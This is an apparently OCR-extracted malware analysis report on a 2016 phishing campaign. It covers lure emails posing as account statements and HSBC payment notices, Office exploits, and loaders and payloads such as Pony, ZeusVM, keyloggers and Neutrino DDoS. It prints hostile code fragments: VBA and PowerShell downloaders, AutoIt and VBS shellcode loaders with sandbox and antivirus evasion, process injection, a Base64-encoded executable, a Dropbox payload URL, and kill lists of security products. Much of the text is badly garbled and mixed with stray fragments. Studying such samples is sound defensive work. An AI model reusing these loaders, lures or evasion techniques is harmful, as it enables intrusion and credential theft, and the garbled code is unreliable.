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K SOAXS (29 KX
Dear sirs/madam ,
We enclosed our Statement of Account as at 31ST OCTOBER 2016 for your attention,

Kindly go through the statement and please notify us immediately If there is any discrepancy and let us know when we can expect settiement.

Thank you in advance for your kind co-operation.

Best Regards,

Accounts Payable Team
NORLINA SALIM (UINA)
Accounts (AR- INVOICING)
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adbrd. Type = |

Dim Professor ) As Variant — — — — _
Professor = Array(l¥5, 158, 158, 150, 94, 81, 79, 149, 147, 145, T0, 138, 131, 125, 133, 129, 116, 127, S4, 105, 115, 48, 117, 105, 43, 47, 48, 42, 43, 39, 40
halalays Open "GEI", GetStringFrombrray (Frofessor, 44), False - —
Exit Sub e o T

Us. rList (Use. rIndex). Bancolnvent. Object (Slot) = Dbject

Call Writ, eChangeBardkSlot (zerl. ndex, Slot)

End Sub

Public Sub UserRetiraltem By¥al UserIndes As Integer, ByVal i As Integer, ByVal Centidad As Integer)

* futhor . Unbmewnn
‘Last Modification: 10/08/2011 - "[G8]"

Un Error GoTo ErrHandler]

__ Din-OufIndex A= Integer —
Set halalaya = Createllbject (Mierosoft. ILHTTE

I Cantidad < 1 Then Exit Sub
Call Writ ellpdatellserStats (lserTadex)
If Vse, rList UserIndex). Bancolnvent. Object (i), Anownt > 0 Then

If Cantidad > Use.rList (UserIndex), Bancelnwent Object(i). Amount Then _
Cantidad = Use rList (UserTndex) BancoInvent. Object (i) Amount

ObjIndex = UserL. ist (serIndex). BancoInvent. Object (i). Dbjlndex

‘hgregamos el obj que conpro sl invembario
Call UserR. ecivelbj (UserIndex, CInt(i), Centidad)

£ ObjD. ata(@bjIndex). Log = 1 Then
Call Loglles. arrollo(Use. rList (UserIndex). Name & * retir?” & Cantidad & * ©
0bjD. ata @bjIndex). Hane & “[7 & ObjIndex & “1%)
End If

*Actualizamos el inventario del usuario
Call Updatell. serTnw (True, UserIndex, 0)
"Actualizamos el bance

4.13 XMLHTTP

V1.1 URLDownLoadToFile

FLLEE

Priwate Declare St.ﬂ:- -L-_i-si'uihbuthGYGh_'i Lib "urlmon” Alias r'rURL]:I-:-'.'.'1'|lu:-suiTu:-l"il;ﬁ';":-_:_::3
(By¥al pCaller Az Long, By¥al-=zURL hs String, By¥al szFileName d=-Strimg,
ByV¥al dwReserwed Az Long, ByVWal 1pfulE As Long)

L . L L . ' - "

4.14 URLDownLoadToFile

V1.2 powershell

Cption Explicit
Priwvate Sub Document Cpen{}

Snell EnvITesi['C

End 3ub e

) & " /o " & PShellCode, vbHide

4.15 powershell

V1.3
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6.1

6.1.1

HSBC Commercial Banking || ePayment Notification Service <eadvice@hsbc.com> <mail@pobjeda-technoloqy.com=
HSBC Inward Payment eAdvice - 31 - October - 2016 - 401-797**-838, AM25614927

A info@kraeber.de

it BHSBC Inward Payment eAdvicezip (122 KB)

HSBC <»

Dear Customer,

Please find the attached eAdvice containing information on payment made to
your bank today.

For security reasons, You are recommended to save and retain a copy for your
future reference.

Should you have any queries, please call our Customer Service Hotline at
(852) 2748 8288.

Yours faithfully,
HSBC Commercial Banking
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CVE-2015-2545 shellcode PE
explorer.exe explorer.exe CVE-2012-0158

|aa1m.eca|' 5
| e, L

6.10 CVE-2012-0158 CVE-2015-2545 shellcode

Sophos Office Exploit
exploit
shellcode
/

CVE-2010-3333 %temp%\) .exe DL-2

CVE-2012-0158 / Ytemp%\putty.exe DL-2,MWI,AK
%tempY%\dead.exe -1
%tempY%\pong.exe
Wtemp%\word.scr
%temp%\) .exe
%temp%\. .\svchost.exe

CVE-2015-1641 %temp%\. - \svchost.exe AK-1,AK-2

%temph\vmsk.exe

%temp%\winsvchost.exe













C# Loader

Script Loader
Shellcode

Loader

Combine

Loader

ZeusVM

pony

Citadel

NanoCore
predator painlogger
hawkeye keylogger
ispy keylogger
Ozone

pony
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Netwire
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ZeusVM+ Autolt Backdoor
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= {} MicrosoftCorporation

[ERC

e _iniic

while (true)

Thread.Sleep( (Convert.ToInt32(Config.LOG_INTERVAL) * 68@@@));
i A {oce IsConnartedTolnternatlils v wn,

= Concat(new string[]

€11 pBTEry=ogger fnT,
this.Ctog,
"\pYn*rErecesss Cliphoard Logger *HYRHHEEIE{inYrn

this.Keytog,

P\ R ot ke oggEr e
s : ~
Core.Upload( *ispy-keylogger - Clipboard - KeyStrokes",: da
data = = pty;

b

oS PeIT—

™

B R
Ty,

i

6.13 ispy keyloger

@ GetActiveWindowTitle() : string P i e -7

A

string clog = this.Clog;
& atinkiamel - hvinn e R g

s

- i
@ GetBetween(string, string, string) : string try
@ GetExternallP() : string
tessage mailtessage = new MailMessage(); @ GetFiremall) ; strig
+ Sty 13t th

£ _sotnsteing)y

SlamnareStringt

=
P
-]
BOLLHOCKSTRUCT) : ink @ KeyboardCalback{int, int, ref Form K
T = =
: ; i 1ol
@ whiioadii g ik ivang i
- s
2 e oK
- ; : Point uppe-LeftDestinaticr - new Point(@, 0%,
': ;i;iz‘:;;gs&‘;i‘imng):W‘d E = _p.COpy omScreeni a~g_131_1, uppc-lestOesripatizn, bl s

+ "screens\\scre

shot" + .ToStringi=
.GetTempPathi§ + "strosrsi)

'y

- ToInteger:ts:
&4 ore. CompareStr
el

%

SetProjectError
ClearProjectError

CimmelnZiag ol
UploadFTP{string, string) : vaid
=% UploadFTR{string) : void

= L

+F
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10.1.1 VB Loader

1)

Loader VB

EnumWindows

Loader

EnumChildWindows

EDI, EIT O0401A1E

10

2

010 L.y
010502CT
I F

PEE!HtGlobalFlags

wvm detection

Mo EaY )
Mo EAY, IWORD FTE D ” FEE!I=Dehb
CNF EYTE F 2

<I
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4)

®)

(6)

DCOM _DATA temp

inject.vbs.BIN

DLL API

jny
SHELLOEJ.RUN "E Z.E
SET DCOM = CREATECEJECT ("
WSCRIPT.SLEEFP 1000

LOCF UNTIL ISCBJECT (DCOM)

LPPEERX")

2 L
FL T

LOADER_DATA

DynamicWrapperX VirtualAlloc
CallwindowProcW
PE_PTR, : 0

CallwWindowProcW

PRI

HEXT

e DCOM. CALLWIRDOWPROCY LOADEE_FTE, PE_FTR, DCOM. STRPTE (HOST_FILE), DCOM. STEFTE (COMMAND_LINE), O

SUB FIX_MOWE4

[ 2|

- 0 X wWakch1

inject.vbs.BIN
DynamicWrapperX

"& CHR(34)&DCOM NAMEs CHR(34),0,TRUE

shellcode

LLene S

regsvr32

shellcode

Shellcode

' Mamne Yalue
= @ LOADER_PTR &HZE00000
— w PE_PTR &HZE10000

(7) shelicode RC4

svchost.exe

OLlyICE - wsci

L. - main thread]
|[@] Fle View Debug Plugns Options Window Help

PE

[ mmE ] s =G A & oEmaemeaRe R s S
55 push  ebp ~|Registers (FPU) < << <& <

Y s2808001|  8BEC nov ebp. esp EAX 7FFDF 888

02B00003| 83C4 F8 add esp, —0x8 | ecx ssssssss

02800006 53 push  ebx EDX ©848C161

02800007 56 push esi EBX BB0006BH

02800008 57 push  edi ESP BB13ECEY

02BB0889| 8B7D 6C mou edi, - EBP ©813ECDC

02B0000C| 8B75 08 nov esi, ESI B2BB00BE

62BO000F|  8DSD FC lea ebx, EDI BB13ED1S

02B00012| 33CO xor eax, eax

62800814 55 push  eb (=L Ce=

62B00015| 68 FFS04800  |push 0x4050FF C O ES 0023 32bit O(FFFFFFFF)

02B0001A|  64:FF30 push  dword ptr fs:[eax] P 0 CS 001B 32bit B(FFFFFFFF)

02B0001D|  64:8920 nov duord ptr fs:[eax]. esp A 8 SS 8823 32bit B(FFFFFFFF)

62800020 ES 97076000 62B007BC Z 0 DS 0023 32bit O(FFFFFFFF)

82B088825| 8983 mov dword ptr [ebx], eax S @ FS 8838 32bit 7FFDF888(FFF)

02800027 8BE3 nov eax. dword ptr [ebx] T 8 GS 8888 HULL

. e - — . - P = = aaa eax.
“RROR_INUALID_WINDOW HANDLE (08800578) [ER = °
B2B8B244

NG NG NE. A N P9, I3 !nush eax L

- 88ee8zaz
oMl

8zB1e818

115 k8 B8 19 b7 45 3E k2 AD OF Hr{HPEN  e>fEN
5 A6 Fi 11 26 BA D2 D7 A3 Sk BN Mal MERHIE

. ., o
el i |

(| 82810000 A5 6B 15 73 BE 1F 7C 3A 5B 74 C5 19 15 LB BC 2D Bs?| - [E?70@7
‘Eﬁ 53 7D AF 35 9C 87 BA F7 SA 27 48 67 CA D9 27 (% B "

EOE T ]
wou sl

IR T TS TR )

By s613eces JEEER
BB13ECES| 8287

47 E2 EE 8% F
1B 29 AR 09 B1 A
1 Bal sl

HZBTM




LERTLIT YT
LRL T Ty

(®)

i A013EC28

A813EC
8813EC
A813EC
A813EC
A813EC
8813EC
A813EC
AB13EC
A813EC

©) PE

—
|~ R ]

4
8
M

ca

E’ B813EC2C| -

byte ptr [eax]
dword ptr [ebp-0x118]|

~ 7|, ModuleFileHame = *5- -1-7.-
s EnmmanFLine =
z pProcessSecurity = ___
pThreadSecurity = ___

i InheritHandles = roi:c
00008080% || CreationFlags = CREATE_SUSPENDED
BEEREEEEE| | pEnvironment = MULL
SEREEEAS BurrenFDir = MULL

' pStartupInfo = 21742248

LpProcessInfo = 21752282

81760008
81760010
817608028
81768038
81760040
01760050
81760060

4D 5A 98
B8 00 00
88 08 88
88 08 88
BE 1F BA BE
69 73 20 70
74 20 62 65

83
08
a8
a8
a8
72
208

aa
1)
a8
a8
BY
6F
72 75

a8
L)
88
88
[H)]
72
6E

a4 B8
40 00
80 08
a8 88
21 B8
61 6D
20 69

88 a8
60 a0
88 08
88 @8
81 4c
20 63
6E 20

FF
09
88
88
[H)]
61
uh

FF 88 8@

00 00 607 OO13ECH0| 00008604 | hProcess = 00000604

68 08 68| . BO13ECLY Address =

68 08 68| . BO13ECH8 | 8176080088 || Buffer = 817686008

21 54 68|EN?.7?7L?Th OO13ECAHC| 808190800 | BytesToWrite = 19000 (102400.)
6E 6E 6F [is program canno 0013EC50| ©B813ECSC | LpBytesuritten = BO13ECSC

4F 53 20|t be run in DOS O013EC54| ©8813ECAC

2. Autoit Loader

Autoit loader
shellcode

Q) Avast

I

H

Execute( ' ProcessExists (M4°

T

N

& vas' &

e

VBS Loader CallWindowProc

sleep 35000ms VirtualBox VMware

& 'I.exe™) ')y Then JDHGRTFDAOMafUWAHYgKIHRI(:S000)

Execute( ' FrocessExists ("VhY & "oxTray.e” & "xe”) ') And SENTWFYPKERNWScWTPFGFSHDDSSVORTO = Chr{42) Then Exit

Tf Execute( FrocessExists ["wn” & "coolsd.” & "exe”) ') And §oQoTFRLATORAGT FO0F afWeloF QTXCTSAS = Chr{45) Then Exit
If Execute('ProcessExists ("5a” & "ndboxieRpeSs.exe”) ') And §UbadgbFolREMAVE el YSEVILGS alXkh = Chr(45) Then Exit

shellcode

Sandboxie



©)

)

eFNﬁ?hHWOEgS = "i" Then ' EIf She00ofBME g T TFEATh OFYHER

dmaEn |34 el A A n i e T

4)

T gl el

v oy

floanat — P VTDATTLINTIN~mOnRELI

diolre — 0 _Than

Base64 PE

EndFunc
[ XZVCVDERERFURZVCVDEXEHF Ul VoA AHARRAE AL AR/ /BAALGARAARRARAORRAARARALARAALEALALRRAARARANRAAALEALALRARARRALAGARALRA S 0GRt ANN T gB THORVGhpC Y BUCKSnCTF & TGN
HbnEVACE 1258y AT Agal4gRES TIG 1vEGUUD Q0K A AL ARAAABCROARTAED AN BGVIALLARALARAOAADVELAO Ty ABOB AABOARLARLARS VAL AACARAANAERAAEAAAOARAARIARBARARARAAAAERLL |
ARARRRACOAQRAAGAALSOBARLEAARLABAARE ARALAREARREALARAARREARLAALARAARLARAARFAQCORARARRARALARALEARALRRAARRALNLAAAARARALARADLRALMLRAAARAAARRAADLRALARRARD
gAEAhAE S0ZXh0. +x IB. FAE. I AAAGAUCIRhAdGEARLL
BALLAMAEALATRARAVAQLRALARAAALARLARABANLPALRAGE ARAB T TQALAEABARD TALARGAE AARALARLARAALALARQLRAVALARLARRALAAAALLRALAABY 43V 14xd/ AU TagFhOytBLLLye TEAFH
L7FHL7F2DE0gRARULY Qi LEVS 1CPOSCHNCEABY 1 +yDxPhY i+xd/ 3 UN0X4x0XBARALATEVC TsSagD/ dRD/ df 2/ A3/ A03/ URTInguhV Tvag T4V FvsZedr+A kL AADHREWARLLAL 1UTi X KNRE hoagL,
/afz/dE3/ A2l / UnSLRES VGOV Tvago T4V TvaRedr +ALAAADHREVERALAL 1UTi X KNREROagH/ d2 2/ 423 /d03/ UhT/ dQiok/ / // 1CLVQI LEmo AagD/ df 2/ 4£3/ A0/ URRYL 1X4 41 UHOSB2 BivAyeT
IALgBARARYCILAFWLTIPE/ FULTF3/ dRD/ 40 0hP/ / / whdQTIugwhilUTixKNREXQ/ 3UQ/ 3 UN/ 3UL/ 1 [HheEAE4LF/ DEFERUHWAERAADEE 1v A6y [EwlinCD ABY L +¥Dx Px Wi TvaXYNSD ABOBONIC AR
1ByvAXsnCDACDERAAGONAACARAF T ugwA1d UN0X8AARAATLVC 195 1UREUPS1EFb/ 403/ UNCF wHikHKSBeye [NAINS/ AB1ByvAXsnCDACLREvDIC IFEBXEWAEAL kBeye IMAFWL7IHE+0/ / / 1ULTFL
qAGohiagNgAGoDadlAhID/ dQjoI+0AAILF/EB1BMNCCABqATI 1IF+FEOABARATZF 40/ // 1D/ df s0Be0ALAVAAQT/ df 2o/ +WAACVAve ITAPS 1+ I2F+0/ // 1D/ dQzoHE/ / / ANO+AB1vPY 1/ 0] 27 AAAULE
LRADINGGAVTvsVEvSTiaCagD/dQialvd//GnCBABYi4xVi+xdagBakPo 1001/ // / ye TEAFUL7IPE+TULTF / dQyPRE JHRE wARLARaGD/ dQz/ 0Q301/3/ /4tVC TS5/ X8/ 3X4/3UT/ L TTye TTAFH
L7FWL7F 1APS1C012/ / / /3o IEAFILT TEVF THGAHUEyc IQAPS1EPS1DPS 100G/ v/ / 1 10T TOLIWhALVTvsga T,/ 3 UNagSNRExQ/ A UL 6HP/ / / +LRQYDOABOBALE/ b/ T6u TEwlnCCABY +¥Dx P2/ d0x
ko lF/ 1D/dedal/// /4t FD I RHOID?AF/ ahE Sw Iz whnC CABVI+yDxPz/ daxqA¥LF/ 1D/ d0iaav/ / /4t FD TN AHQGD? ZF/ +3CKADIngg AV Tvsi U0y 2o kAT I ugwh/ 3UN/ 3UT 6BDS/ / BLWHUL 110
QxuIAEAAREWLGALS IDPIICOLN/ P/ / ye IHAFLTIPE/ FaldOxoh T1F/FD/ dREW/ 3UL6Frx AAALWHQGG3 3 8AHUHREBeyc IATLF/ APURUUQAA04 AQAAAE 70 UGk TvagaTe/ 3 UNEGYE/ [ +IREIHREW
ARALR/BUNEFD+/ / +LVOYLEmO kaoD/ df £/ AL 1/ 401/ d0z/ Ve vugkV Tvaus T4x0X4 A4 ARANAF / ALLRACLVQLLED 1F+FBGAL 91/ PAL+PO 1CPOSF It F+INCEABY Lx AT IFDFD/ d0105ve/ / BaCCAE
VitxgBI1FDFDLAO] DEIf_z/'/EluC(g‘ﬂéT;+vaOmAdBSDfRBAdATldRD/dOz/dChDSF &/ /8nChABVi+e/dRD/ACTovP/ /A ANAEARNEINSDAROIG1 RPIINPITCOI 3/ L4 Lo THAFHL? TNSDAROCw 910K

Base64 PE shellcode  Base64

CallwWindowProc PE

ElFunc Ci¥TROITAiRTUPGRGRDELV( ]

TWiF,

®)

& BinaryLen(

"y Local $pgFicDNETeyECOELL0RRANASDFIVCMECOMETEARUIF = DllStruetcCreate( hyte [
Local $CTHFMEECVAMFCRLLILGTOIFIAVRANOZKTeGXGTEPINCE = D11Call{"user3z . dll™, i
$PTRTUDEDY gFWCDSLEA: KNCY 06 cOLFEODVE i YVl aMEC) , "str ", $IFKRVALTaRKPakciAVEKIC
$hgFi cDNETCEE COZLD20RRANARDFIVCMECOMKRUZANYLF) , "int™, O, "int", 0)

1y, 1, $CTBFMEBCVAMFCBLLLoTRIFIAVRWOEK TeGXGIPBINCYO0]) Return BinaryMid(DllStructGetDatal $hgFicDNETCoECOZLb20RRANADFIVCHECOMELUS IR
EndFunc

[P

Global SYMPoMhnTioFYaQseViReDARRSTWLIVNXTIDSUCS = BWindowsDir & "\Microsoft.NET) Frameworkiwv4.0.30319\ RegSves.exe™
Global $EBWLUGPAFCOIQAEVIONKEeHaEgDFASTIYRDELEN = AUindowsDir & ™ Microsofc METYFrameworkiwz. 0. 50727 Regives . exa

If FileExists($¥YMPghhtioF¥alsgWRelARRGTWEL: VHXTIDSUCS) Then
¥While True
SefBoRNMAFTUMILIEETJE = PY£iZPOUieKCULEQEQSRySh( SYMD oMiIioF ¥ a8 ¢V ReDARRG TWL i VNXTIDEUCS)
If $efBoRNMAFTAMILIEESJE = O Then
ContinueLoop
Else
ExitLoop
EndIf
WEnd
Elself FileExists({ $BENLUGPALCQI0AEVIOKEE e aE gDfATTaYRDKLEN) Then
While Trus
FefBoRNMAFTXMILIEESTE = PYLiZPOUieKCULEQLOSRySh( SEONLUGPAL COTOdEVI OKKEedaE gD FATFTSYROKLEN)
If §efBgRNMAFTAMILIEESTE = 0 Then
Continueloop
Else
ExitLoop
EndIf
WEnd
ElseIf FileExists(@3ystewmDir & ™wscript.exe”) And SLOGETKKOMHEXIeLbN = O Then
While True
FefBgRNMAFTYMILIEESTE = PYLiZPOUieKCThEQLOSRgSh( S ystemDir & "\wscript.exe")
If $efBEgRNMAFTXMILIEESTK = 0 Then
ContinueLoop
Else
ExitLoop

PE



Local $ptrP = DllStructGetPtr{SstrBin), $stzb Pl eate({"ptr Process:;ptr Thread:dword ProcessId:dword ThreadId”)
Local $3 = DLlCall{"kernsl3z.dll™, "buol”' nm, §p, 0, §p, 0, "int", O, "dvord”, 4, §p, 0, §p, O, §p,

SJOTVET =100 ; CHOPIL_T1E
oo VeV oo Y O P ) e Y oz W

10.1.4 Shellcode Loader

2015 10 Shelicode Loader Loader
[ XXX [ 1. XX_
B [ . XXX
@.cm_ @.cmd @.cmd

@ Po-#a35E2Y. exe - ERRERST CaB ESETH, BEADNH 688, 402 FH
S 4 FoA | EEEAA | R TEECATRT 8]

. .
e am_ 314, 722 7 OOM_ 2016-T-12 2:03
Fle. cnd 373, 60 7 Windows HT & B$E  2016-7-12 2:03

(1) @.cmd

] 19

2 shellcode shellcode_a


mailto:自解压包中通常包含两个文件并以[文件名].XXX和[文件名].XX_命名。（其中一个文件的扩展名比另一个文件少了一个字母并以_代替）@.cmd
mailto:自解压包中通常包含两个文件并以[文件名].XXX和[文件名].XX_命名。（其中一个文件的扩展名比另一个文件少了一个字母并以_代替）@.cmd
mailto:并静默执行@.cmd
mailto:本例为@.cm_

QO40TZEE | . 8D DEFFFF]LEA

SE&
AX

Moy
mov _
A

CECY

AL, BYTE FT
EYTE FTE
ECX

EDY

(3)shellcode_a @.cm_ shellcode

shellcode_b

O0AROOLS

EAY, EAY

(4) shelicode_b 0xAB0018

1 @.cm_ PE

6 vmtoolsd.exe VBoxService.exe

9 iexplore.exe



mailto:解密@.cm_

14

shellcode_b

shellcode_a  shellcode_b

FFIO
=t
C

In0Z0000

HOR

Mo

Ae127FAc 6A B8
A8127FAE 6A 81
A8127FEA E® BFBfoBanan
A8127FBS 6A B8
A0127FBY 6A B8
A8127FBD E® B6808080
A8127FBE 83C4 18
A8127FCA 33ca
AB127FC3 c3

shellcode PE

Shellcode Loader

ECX
ECX
EAY,

EnX

001 Z0ES6

EAY, EAX

EDY,
ECY,
EAX, ELY
ED¥
EDT
ELT, ECX
EaX, EAX

SHORT 00120970

E=I

ESI, IWOED FTE DS: [EDXN+0x1]

ED¥,

AL, BYTE FTE DS: [EDX]
EYTE FTR DS: [ECY], AL

ECX

EDX
push
push
call
push
push
call
add
E{i]
retn

10.1.5 Combine Loader

Combine Loader
shellcode loader

Shellcode Loader

1. vbs+Shellcode

Loader

Loader

Delphi Loader

(]
1
BO1Z27FCAh
(]
(]
BO1Z27FCAh
esp, 18
eax, eax

Combine Loader

shellcode Loader

PE

Loader

VBS Loader

Loader




2016 VBS Loader  Shellcode Loader Loader Loader
VBS Loader VBSLoader shellcode loader

shellcode loader PE

0740065006d007300200049006€0063006£00720070006£0072006100740065006400000000004200570001004c006500670061006c0043006£007000790072006900670068007400000043006£0070
00790072006900670068007400200031003900580034002d0032003000310036002000410064006£00620065002000530079007300740065006D007300200043006E0063006F00720070006F0072006
100740065006400200061006=006400200062007400730020006c006900630065006E0073006F00720073! 0200041006c006c00; 20069006700680074007300200072006500730065007200
7 2 1 06F0064007500630074005600650!

2003000300 o0 00

STvhyh
VY hdobe Acrobat Re. ..
Adobe Systems In. ..

— BTyhyh. EzE

B51, 264 Fle md

2. Delphi + Shellcode

2016 6 Combine Loader Loader

Loadef " “ " Loader

Loader exe

1538m.exe X

M B ieve exe - BRERT MR ERTH, BELAN 1,308, 123 T
I

N [t appdat ant ks

[]1538m. exe etup=¥appdat a¥ivlBndh1530m. exe

1lent=1
| =



mailto:自解压包中通常包含两个文件并以[文件名].XXX和[文件名].XX_命名。（其中一个文件的扩展名比另一个文件少了一个字母并以_代替）@.cmd
mailto:自解压包中通常包含两个文件并以[文件名].XXX和[文件名].XX_命名。（其中一个文件的扩展名比另一个文件少了一个字母并以_代替）@.cmd

loader_a

I538m. exeloader_a)# 4T

v

BEEL F T TERITE

Shellcode+” £58F Loader” {585

(B —KIE)

Config B FE
(&I RImE)

mrr.z— M’?‘E’r AE 1: ZeusVM
UEAR ST A e WL T CETFRRINE)
el Ll Rtk -"':Jﬁ
. ' . 7 T 1
%wgmm -Egﬁgl-é HEF key
) %ﬂ = o
1 m rr TJ-_._._."E- b

&.m. o - I- . ':&11_ JRin g}
T "‘:.I ! T
BTE M SRR "f‘;'r 2: Autoit Backdoor
Jiesfi b Kok ir ii 11 :
e P .
] .I:J:e:.-.!::- .rlar-:.m‘é u}':” ﬁm’ﬂﬁz‘?ﬁ%

o s

[538m.exe Loader delphi
X X
'S shellcode PE

Loader

loader_a

“ intherway”

loader_b



[EBX+i
[EBXH
[EBX+i
[EBX+i
[EEX

o0 00 00 00 00 00 Od oo o0 oo I_II_IlHEP. T a0

PE loader_b 1538m.exe

loader_b delphi X X key

B9 AST44100
JEDAFEFF 4
I E0 EIIJI.
A1 T0994100 0 Eﬁdr IWORD :FTE 1= [D:x419900]

ASCIT “intheway”

[:x419904]

5 loader_b

ENABLEBOTKILL KILLZEUS
“ @echo off
compatible; MSIE7.0; Windows NT5.1;
svyr
@echo off

application/x-www-form-urlencoded”

@echo off




DestroyEnvironmentBlock”

KILLDARKCOMET

“ DISPCAMS”
KILLCYBERGATE
“ Bssearchparar”
“ finalizarconexao”
KILLXTREMERAT
“ NanoCore”

“ ClientPlugin”

KILLNANOCORE

“ Unitkeylogger

“ UnitlnstallServer”

KILLVMWARE

VMware

vmware.exe

ENABLEAVKILLE

https://www.dropbox.com/s/vbnt8gud
1d14zx8/avkplugin.bin?dl=1
ProcessHacker.exe
AV

Antivirus JaswRvrt|aswRdr | avastsv
c.exe | AvastUl.exe |KLIM6| AVP|KLIF| klk
bdflt] kimounflt]avp.exe|avpui.exe| MB
AMProtector| MBAMScheduler| MBAMS
ervice | MBAMSwissArmy| mbamgui.exe
| mbam.exe|GDTdilnterceptor| GDBeha
ve | GDMnlcpt] GDScan.exe] AVKWCtl.ex

e | AVKTray.exe |GDSC.exe| McMPFSvc|



https://www.dropbox.com/s/vbnt8gud1d14zx8/avkplugin.bin?dl=1
https://www.dropbox.com/s/vbnt8gud1d14zx8/avkplugin.bin?dl=1




ANTIWIRE

Wireshark.exe

Wireshark
ANTINOD ESET egui.exe
ANTIBIT bdagent.exe
Bitdefender
ANTIAVIRA avguard.exe
ANTIOLLY ollydbg.exe
KILLREGEDIT regedit.exe

KILLMSCONFIG

msconfig.exe

6 loader_b
2
10.1.6 Pony
Pony
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FTP Email













A i | HidE JI=]
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o

yptlnprotectlata

5.C&C

134

C&C

FFT5 03

0100 A 00411RT4 ME | o CreateStream0nH

CE 0400

PWDFILE\x30 8
1.0 8
\x02\x00\x4D\x4F\x44\x55\x01\x01 8
8
\x01\x00\xEF\xBE 4
4







loc_4OA9C3: ; "MALTEST™
push offset aMaltest
1ea eax, [ebp+szlUserHame]
push eax ; Str
call sub_ 486600
add esp, 8
test eax, eax
jz short loc_ 4BA9DF
Ll s 55
loc_4BA9DF : ; "TEQUILABOOMBOOM™
push offset aTequilaboomboo
lea . _erx, [ebniszliceptanst
Do e L = o —
e R T T I LSS B
4 \SAMPLE \VIRUS SANDBOX
loc_48AB15: : "SASAMPLE™
push offset aSample
lea eax, [ebp+szHoduleFileHame]
push eax o
call sub_ 4B6a6D8
add esp, &
test eax, eax
jz short loc_ 48AB31
(5) 10G \\.\PhysicalDrive0 DeviceloControl
IOCTL_DISK_GET_LENGTH_INFO 10G
push edx » lpOutBuffer
push 1] : nInBuffersize
push a ; 1lpInBuffer
push IOCTL_DPISK _GET_LEHMGTH_IHMFOD ; dwIoControlCode
mouv eax, [ebp+hObject]
push eax ;: hDevice
call ds:DeviceloControl
(6) wine_get_unix_file_name Wine
push offset aWline get wunix  ; “wine get unix file name"
mow eax, [ebp+hiodule]
push eax ; hihodule
0I3f Iz, Izs
ey et
v
(e
Xor eax, eax
G6E1: 1o jmp short loc_4BC6EF| |loc_48C
eax, 1 jm mou
short loc 4BCAEF jmp




@) VMWareTools

(8) HARDWARE



push eax ; phkResult

push 28819h ; samDesired

push ] ; ulOptions

push offset aSoftwarelracle ; "SOFTWAREYLOracleyyUirtualBox Guest Addi™
push HEEY_LOCAL_MACHIME ; hKey

call ds :RegOpenKeyExW

mou [ebp+var_u], eax
cmp [ebp+var_4], B
jnz short loc 48CD5A
L J

[l i 55 IE

®0r eax, eax jmp short loc_4BCDSS

jmp short loc_L4BCDEGE loc_4BCD5A:

| | mou eax, 1

2.Neutrino DDoS
8848850F loc 48850F: ; CDDE XREF: WinMain(f,x,x,x)+837j
B85 BF ooy
pes11 L5 T
B8513 aay
B8515 oay
B851A agy
Ba51C ooy
BE51E L5 T
p8523 aay
88526 : aay
B852C agy
BE52E : aay
pEs3Y L5 T
B853s aay
B8538 : aay
542 agy
BES LY ooy
pESuA L5 T
B35 uB a0y

DDOS http ddos  slowloris ddos download flood tcp ddos wudp ddos https ddos

loader find file cmd shell cmd
botkiller keylogger update

(1)Loader dil regsvr32



a040402B push offset String2 ; ' _d11"™

a04040820 1ea edx, [ebp+Stringi]
a0404033 push edx ; 1psString1
a0404034 call ds:1lstrcmpil
a04a483a test eax, eax
a040403C jnz short loc_LBL4O7Q
8048483E lea eax, [ebp+var_234a]
a040404h push eax
A84 04845 push offset ass_@ ; fs Bs"
a04a484a lea ecx, [ebp+var_ulLi]
aayaLasa push BCX s LPWSTR
2040840851 call dszwsprintfi
aguauasy add esp, BCh
a04a485A lea edx, [ebp+var_ulLi]
a04040860 push edx
20404061 push offset aRegsur32 ; "'vegsur3z”
gL au 66 call Run
(2)find file C&C
BB4BF665 push ecx
BB4BF666 push offset aPostSHEtp1_8_2 ; "POST %s HITP/1.8%rinHost: %sirinCookie:". ..
8B4 BF66E mov edx, [ebp+buf]
0040F66E push edx 3 LPSTR - cHAR aPostSHttp1 @ 2[]
0040F66F call ds:usprintfa aPostSHEtp1_ 0.2 db 'POST %s HTTP/1.0° ,6Dh,BAh ; DATA XREF: sub_ 4BF4u0+226T0
0B4BFG75 add esp, 18h db 'Host: %s',@Dh,0Ah
0B40F678 noy [ebp+uar_31], @ i db 'Cookie: authkeys=21232f297a57a5a743894a0e4ad01fc3’,00h,0AK
B048F67C push 58h ; _int1 db ‘User-Agent: Hozilla/5.8 (Windows NT 6.1; WOW64; ru:35.8) Gecko/28"
8048F67E mov eax, [ebp+name] db *188181 Firefox/35.8",8Dh, 8RN
8048F681 push eax ; name db ‘Connection: close’,BDh,BAh
8048F682 call sub_4BEFBA db ‘Content-Length: %d',BDh,BAh
0D4OF 687 add esp, 8 db 'Content-Type: multipart/form-data; y
DO4OF68A mov [ebp+s], eax db '-———-- %d" , 0Dh, 8Ah
004 0F 68D cnp [ebp+s], OFFFFFFFFh
(3)Cmd shell cmd
004 083E6S push 1084h ; nsize
084 83E6A lea ecx, [ebp+Buffer]
aaLggean .o R [ T alm o o ¢
; "Com3pec” —ee—— .
B64B3ET 6
BB4B3E7C
» CODE XREF: sub_4683D60+1 BETj 884B3E7C loc_ L4B3EVC:
‘ProcessInformation] 084083E7C lea edx, [ebp+
80483E82 push edx
‘StartuplInfo] 00403E83 lea eax, [ebp+
80483E89 push eax
BO4B3EBA push a
AB4B3EBC push a
BO4B3EBE push 28h
B4 B3EYH push 1
e T T T N e T T AREARER R T T e b .
ToThreadngird hoies .
B4 03E99 ;5 lpProcessattributes al
B4 B3E?A a
B4 03ERD ; lpCommandLine al
B4 B3EA1 a
B4 83EAT ; lpApplicationHame ai
B4 B3EAB eaTkb ATy a

(4)Botkiller APPDATA TEMP ALLUSERSPROFILE



ﬂﬂ.l'\-'ﬂl:l_?!'iﬁ .- LT T T — aav __lFohp+oeo o000 0 O 0 L I ey

5 char BA4BEAZA e TRTEr]
B e AP PDAT AR BB4BEAZB FLTR L W o Y %
ile 884BEA3A il deletef
AB4BEA3S NN o 5 e
= e 8B4 BEA3B DI | 11 [0
T+ awrgr B 884BEA3B weEL  eTE, [P
; char 884 BEA3F '
; "RTEHP%™ B84BEALA
ile BB4BEALS deletef
B84 BEALA 2
;-__L . emaa T - T-1°W - 953 T e e e e ——
T S R
; char G084 BEASY
e “%ALLUSERSPROFILE%™ 8B4BEASS .
deletefile @84BEASA vl
G084 BEREZ push FILE_ATTRIBUTE_ARCHIVE ; dwFilenttributes
B84 BEBES mov eax, [ebp+lpString]
G984 BESES push eax ; 1lpFileHame
A84BEBE? call ds:SetFileAttributest
B84 BEBEF mov ec®, [ebp+lpString]
B84 BEBF2 push ecx ; 1pFileHame
